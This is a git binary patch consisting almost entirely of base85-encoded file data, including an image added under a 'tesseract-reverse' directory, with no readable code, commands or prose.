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 literal 0 HcmV?d00001 diff --git a/tesseract-reverse/image.png b/tesseract-reverse/image.png new file mode 100644 index 0000000000000000000000000000000000000000..2ff9e4674e98463a1ce2d9d29b8508bd8722a218 GIT binary patch literal 21231 zcmagGby%BC(>_cMikG&yl~UXtf)#g%;!xa*Yk&YP?ohlq6nA%my9X&=2*IUDkYGRV zr|tc`@B97n?QtZq$#u=_%yP*gub#`fk$sH&CdWDVB-!aj2fifjGycafUtKGvbf8jo_{pF^ z@NIP8zj(jGgY{y{?@_o=N7x~jC5kflTXs!k3|&r_HcK=dF7l2l=9|Yj;{-Drqr2wr zr(&<^RPPO^@LF1gq%<@y2n34(=f}`~?ne&;``t#6oDnR4J4hYV(Bo}hUfv1tzaJsx zM>C7{m+3Z~k^TEwhs)<8hJSm>gdey6?R1Q=nu|$A&YG}=H7&kOh=LcDJG1Fj3?7@% zFDIXpIv19?cQHGPUV3Bvy~Uv^#ZOA=TUZ%)-J-2Eu8F!9L#)kSjI&h1ZrZ0sLcZCY zKoo>liF72))oGuc3ZUcKRkx@ii#xl`R)GGOh~Kc>YETr9{mR7Qq1{jFtssgF-}g

odOKfA!x1Gt1%vd@||(B^d?4eL40x zC$x*J_;9NT8e&v2S#{uP*K=y0W>V5ZGH%dumMkmBwjf(?DNIh2%=cFSzv0o2@K~Y; z5*Z}vz0$TOl7^=BMc+!)Y9yvVNJeqxq}Q`M{k<3o3FFiDi=Ga)v{;kp)?Dsr;oe`| z8q)GjztDcTjzud{_!9Z#-)n=iF-W(9+a#qT5>2CI*F(t0QcQ-$XFz64yh7G55|WlH z>AkD+ApaG{?A<@BtNu;_1qH=rZOh`-;`WKEO=CoB>2*d;^0i~ z0K*AQ`jmth*tQX`R*6Vlu23{stwbyVWM(9gSK4V{>Cn^sk!ltrn3z=m8N#Yy{LX3H z=Z2P3N#w*~4F1($7z9e@yUBCD+1V2k9xPpmfC?~8@`VeN(D@Ip-Yui6xz#is%llTF z9`TtkggY*ZAN>}}LFIV6U-CZr>4|`Cl8LuGI9rUUYAP$$ec|l(qPlK-p`|A|f>cPt zN=S)#^$1dMI(E2$s=6^2+-n*|q+m<(LNRLlNn4(KaH8YS?;@Fck%sU2v@2C_*7Xw) zy%QW?Z=k81U#lHzYBZlXjdC%2U)CrVmF_q%)(-UJfdT97bEwc?O#Rr!HsPDXkmIA* zJ7Q*HhL=m`cE0DEbjV?vn)egH^RJo0Ai)mDbj7cTM%jB}Lm-HNvNN0;#N^0*!dYbw z^*M#tp$W#G2+&O=j3a2nq@1Y_e%HIP@rw`NNrG-d6{Q)Ni6?^`gaLAkW9(M=R&FpU ztlxM9O3X>BVDwj_CDeJn7s3jDZ>MVf2JucVyja+RHl-MnDa%lyaw-=NOrlEq*=F;6Q$)?vhUzte70c{x-jMUa1EkUO!i8D;d3)ki|| zOM!M%wB5fWJh>4z$K$iVCGmk-FI=%v=Pyn;R!beNY|-x6H(ud3pUe0w#?O|u5n=Hk z?vc5JPWyCh`_lVDPls9L4%rr$S5s!+7$p{oxO!fhjsd92UVlY~$}DDNWOcV;W#;_+ 